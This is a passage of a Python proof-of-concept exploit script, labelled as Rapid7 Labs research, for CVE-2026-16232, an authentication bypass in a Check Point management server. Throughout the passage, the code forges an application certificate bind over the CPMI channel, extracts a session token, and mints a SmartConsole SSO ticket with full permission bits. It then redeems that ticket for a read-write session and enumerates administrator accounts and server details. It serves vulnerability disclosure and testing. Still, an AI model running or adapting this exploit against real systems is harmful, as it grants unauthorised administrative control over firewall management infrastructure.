        raise RuntimeError(ET.fromstring(error.read()).findtext(".//faultstring") or f"HTTP {error.code}") from error


def query_admins(host, cpm_port, sid, client_sid, timeout):
    """Call GetAllAdmins using the supplied session."""
    body = b"""<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:q="http://www.checkpoint.com/DleWebService/QuerySvcRemote"
 xmlns:w="http://www.checkpoint.com/management/objects/schema/DleWebService">
<soap:Body><q:query><q:queryRequest>
<w:queryId>GetAllAdmins</w:queryId><w:limit>100</w:limit><w:offset>0</w:offset>
<w:queryTotalCountRequest>true</w:queryTotalCountRequest>
</q:queryRequest></q:query></soap:Body></soap:Envelope>"""
    return ET.fromstring(soap_post(host, cpm_port, "QuerySvcRemote", body, timeout, sid, client_sid))


def redeem_ticket(host, cpm_port, ticket, timeout):
    """Redeem the forged SmartConsole SSO ticket into a full DLE session."""
    body = f"""<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="{LOGIN_NS}" xmlns:d="{DLE_NS}"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soap:Body><l:loginNew><d:loginRequest>
<d:applicationName>SmartConsole</d:applicationName>
<d:domain>{SYSTEM_DATA_DOMAIN}</d:domain>
<d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
<d:username>{SSO_LOWER_NAME}</d:username><d:SSOToken>{ticket}</d:SSOToken>
</d:authenticationInfo>
<d:connectionMode>READ_WRITE</d:connectionMode><d:getDomainList>false</d:getDomainList>
<d:keepAliveTimeout>0</d:keepAliveTimeout><d:userAgent>SmartConsole</d:userAgent>
<d:workSessionMode>START_NEW</d:workSessionMode><d:workSessionType>PRIVATE</d:workSessionType>
</d:loginRequest></l:loginNew></soap:Body></soap:Envelope>""".encode()
    root = ET.fromstring(soap_post(host, cpm_port, "LoginSvcRemote", body, timeout))
    sid = root.findtext(f".//{{{DLE_NS}}}sid")
    client_sid = root.findtext(f".//{{{DLE_NS}}}clientSessionId")
    if not sid or not client_sid:
        raise RuntimeError("SmartConsole ticket redemption did not return a DLE session")
    return sid, client_sid


def main():
    parser = argparse.ArgumentParser(
        description="Demonstrate CVE-2026-16232 by forging an application bind and redeeming a SmartConsole admin ticket."
    )
    parser.add_argument("--target", required=True, help="management server hostname or IP")
    parser.add_argument("--fwm-port", type=int, default=FWM_PORT, help=f"SIC/CPMI port (default: {FWM_PORT})")
    parser.add_argument("--cpm-port", type=int, default=CPM_PORT, help=f"CPM SOAP port (default: {CPM_PORT})")
    parser.add_argument("--timeout", type=float, default=TIMEOUT, help=f"network timeout in seconds (default: {TIMEOUT})")
    args = parser.parse_args()

    print("===============================================================================================")
    print("Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232)")
    print("===============================================================================================")
    print(f"[+] Targeting: {args.target}")

    # Establish the unauthenticated legacy channel used by SmartConsole clients.
    cpmi = Cpmi(args.target, args.fwm_port, args.timeout)
    print("[+] SIC/CPMI connected")

    # Present ourselves as an application client rather than an administrator.
    cpmi.send(client_set('"SmartView Reporter Client"', '\t:application_login ("CPM Server")\n\t:client_without_administrator (true)\n'))
    print(f"[+] Forged application DN: {cpmi.dn}")
    # CVE-2026-16232 root cause: the vulnerable server trusts this client-supplied
    # :DN as the application certificate identity instead of the authenticated peer DN.
    reply = cpmi.send(
        f"""(
\t:local_bind (0)
\t:token_bind (0)
\t:DN ("{cpmi.dn}")
\t:certificate_bind (1)
\t:application_login ("CPM Server")
\t:client_without_administrator (true)
)
"""
    )
    if b":status (ok)" not in reply:
        print("[-] Application bind failed. The target is likely patched and not vulnerable.")
        return

    print("[+] Application bind succeeded")

    # Opening the database through the forged application session returns a DLE token.
    reply = cpmi.send(
        """(
\t:type (command)
\t:subject (open-database)
\t:body (
\t\t:Name ()
\t\t:db_open_reason ()
\t\t:dle_session_id ()
\t\t:database ()
\t\t:db_open_id ("(nil)")
\t)
\t:no-reply (false)
)
"""
    )
    tokens = re.findall(rb"(?<![A-Za-z0-9_-])[A-Za-z0-9_-]{43}(?![A-Za-z0-9_-])", reply)
    token = next(t.decode() for t in tokens if not t.endswith(b"_mappings"))
    print(f"[+] Application token obtained: {token}")

    # The application token is already enough to access some protected SOAP APIs.
    root = ET.fromstring(protected_read(args.target, args.cpm_port, token, args.timeout))
    print("[+] getServerInfo")
    for field in ("hostName", "hostIpAddress", "osName", "osVersion"):
        value = root.findtext(f".//{{{BASE_NS}}}{field}")
        print(f"    {field}: {value}")

    # The raw token can invoke GetAllAdmins, but it sees no admin records in the lab.
    app_admins = query_admins(args.target, args.cpm_port, token, "", args.timeout)
    print(f"[+] Application token GetAllAdmins count: {app_admins.findtext(f'.//{{{DLE_WEB_NS}}}queryTotalCount')}")

    # Ask FWM to mint a SmartConsole SSO ticket carrying full permission bits.
    reply = cpmi.send(
        f"""(
\t:type (command)
\t:subject (gen-sso-token)
\t:body (
\t\t:destination_ip ("inx invalid type (0)")
\t\t:source_addr_type (3)
\t\t:dest_addr_type (1)
\t\t:type (SmartConsole)
\t\t:sso_original_client (SmartConsole
\t\t\t:lower_name ({SSO_LOWER_NAME})
\t\t\t:soap_local_bind (1)
\t\t\t:permissions ("ffffffff|ffffffff|ffffffff")
\t\t)
\t)
\t:no-reply (false)
)
"""
    )
    sso = re.search(rb"(?<![0-9a-f])[0-9a-f]{64}(?![0-9a-f])", reply).group().decode()

    # Redeeming that ticket creates the SmartConsole session that triggers the IOC.
    sid, client_sid = redeem_ticket(args.target, args.cpm_port, sso, args.timeout)
    print(f"[+] SmartConsole application-token ticket redeemed: {sso}")

    # The redeemed session can now see admin records that the raw token did not expose.
    admins = query_admins(args.target, args.cpm_port, sid, client_sid, args.timeout)
    print(f"[+] GetAllAdmins count: {admins.findtext(f'.//{{{DLE_WEB_NS}}}queryTotalCount')}")
    for result in admins.findall(f".//{{{DLE_WEB_NS}}}resultList"):
        name = result.findtext(f"{{{BASE_NS}}}name")
        auth = result.findtext(f"{{{OBJECTS_NS}}}authMethod")
        print(f"    {name}: {auth}")


if __name__ == "__main__":
    main()